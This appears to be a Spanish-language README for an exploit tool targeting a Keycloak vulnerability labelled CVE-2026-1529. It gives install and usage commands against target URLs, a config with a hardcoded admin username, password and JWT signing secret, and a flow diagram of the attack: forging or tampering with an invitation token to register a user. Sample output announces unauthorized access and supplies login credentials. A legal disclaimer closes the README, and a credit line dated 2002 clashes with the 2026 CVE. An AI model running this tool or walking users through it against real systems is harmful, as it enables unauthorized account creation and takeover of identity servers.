# Clonar el repositorio
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# Crear entorno virtual
python3 -m venv venv
source venv/bin/activate  # En Windows: venv\Scripts\activate

# Instalar dependencias
pip install -r requirements.txt

# Crear estructura de directorios
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit

# Descargar archivos de releases o copiar manualmente
# Luego instalar dependencias
pip install requests urllib3 PyJWT

keycloak-exploit/
├── keycloak-exploit.py           # Script principal del exploit
├── requirements.txt              # Dependencias de Python
├── README.md                     # Este archivo
├── config/
│   └── default_config.json       # Archivo de configuración
├── utils/
│   ├── __init__.py              # Inicializador del paquete
│   ├── http_utils.py            # Utilidades del cliente HTTP
│   ├── jwt_utils.py             # Manipulación de JWT
│   └── crypto_utils.py          # Utilidades criptográficas
├── logs/                         # Registros generados automáticamente
└── output/
    └── reports/                  # Informes de explotación

python3 keycloak-exploit.py https://target-keycloak.com

# Con token de invitación personalizado
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com

# Con ID de organización personalizado
python3 keycloak-exploit.py -o custom_org_id https://target.com

# Con archivo de configuración personalizado
python3 keycloak-exploit.py -c /path/to/config.json https://target.com

# Habilitar registro de depuración
python3 keycloak-exploit.py -d https://target.com

# Mostrar ayuda
python3 keycloak-exploit.py -h

# Mostrar versión
python3 keycloak-exploit.py -v

{
    "exploit": {
        "default_username": "admin_user_2026",
        "default_password": "KeycloakCVE2026!",
        "default_email": "[email protected]",
        "timeout": 30,
        "max_retries": 3
    },
    "jwt": {
        "algorithm": "HS256",
        "secret_key": "keycloak-cve-2026-1529-exploit",
        "token_expiry": 3600
    },
    "target": {
        "endpoints": {
            "realms": "/realms",
            "organizations": "/organizations",
            "register": "/register",
            "login": "/login"
        }
    },
    "output": {
        "log_level": "INFO",
        "save_reports": true,
        "report_format": "txt"
    }
}

┌─────────────────┐
│  Verificación   │
│  del Objetivo   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Generar/Obtener│
│     Token       │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Manipular Token │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Registrar Usuario│
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Prueba de      │
│  Inicio Sesión  │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Generar Informe│
└─────────────────┘

============================================================
RESULTADOS DEL EXPLOIT CVE-2026-1529
============================================================
✓ El objetivo es vulnerable a CVE-2026-1529

🎯 ¡EXPLOIT EXITOSO!
Nombre de usuario: admin_user_2026
Contraseña: KeycloakCVE2026!
Correo electrónico: [email protected]
Enlace de inicio de sesión: https://target.com/realms/master/account

📄 Informe guardado en: output/reports/exploit_report_20260211_050507.txt

🔐 ¡Use las credenciales proporcionadas para acceder a la instancia de Keycloak!
⚠️  Esto demuestra acceso no autorizado debido a CVE-2026-1529

============================================================
por f3ds cr3w est, 2002
============================================================

# Asegúrese de estar en el directorio correcto
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com

# Asegúrese de que el directorio config exista
mkdir -p config
# Copie o cree default_config.json en config/

pip install --upgrade urllib3

# Habilite el registro de depuración para ver más detalles
python3 keycloak-exploit.py -d https://target.com

# Aumente el tiempo de espera en config/default_config.json
"timeout": 60

python3 keycloak-exploit.py -d https://target.com

⚠️ AVISO LEGAL IMPORTANTE ⚠️

Esta herramienta se proporciona SOLO con fines EDUCATIVOS y de PRUEBAS DE SEGURIDAD AUTORIZADAS.

Al usar esta herramienta, usted acepta que:

1. Solo usará esta herramienta en sistemas que posea o para los que tenga 
   permiso explícito por escrito para probar.

2. Entiende que el acceso no autorizado a sistemas informáticos es ilegal 
   según leyes que incluyen, entre otras:
   - Computer Fraud and Abuse Act (CFAA) - Estados Unidos
   - Computer Misuse Act - Reino Unido
   - Legislación similar en otros países

3. Acepta toda la responsabilidad por cualquier consecuencia del uso de esta herramienta.

4. Los autores y colaboradores no son responsables de ningún uso indebido o daño 
   causado por esta herramienta.

5. Esta herramienta se proporciona "TAL CUAL" sin garantía de ningún tipo.

ÚSELA BAJO SU PROPIO RIESGO. EL ACCESO NO AUTORIZADO ES UN DELITO.

# Clone su fork
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# Cree un entorno virtual
python3 -m venv venv
source venv/bin/activate

# Instale dependencias
pip install -r requirements.txt

# Haga sus cambios y pruebe
python3 keycloak-exploit.py https://test-target.com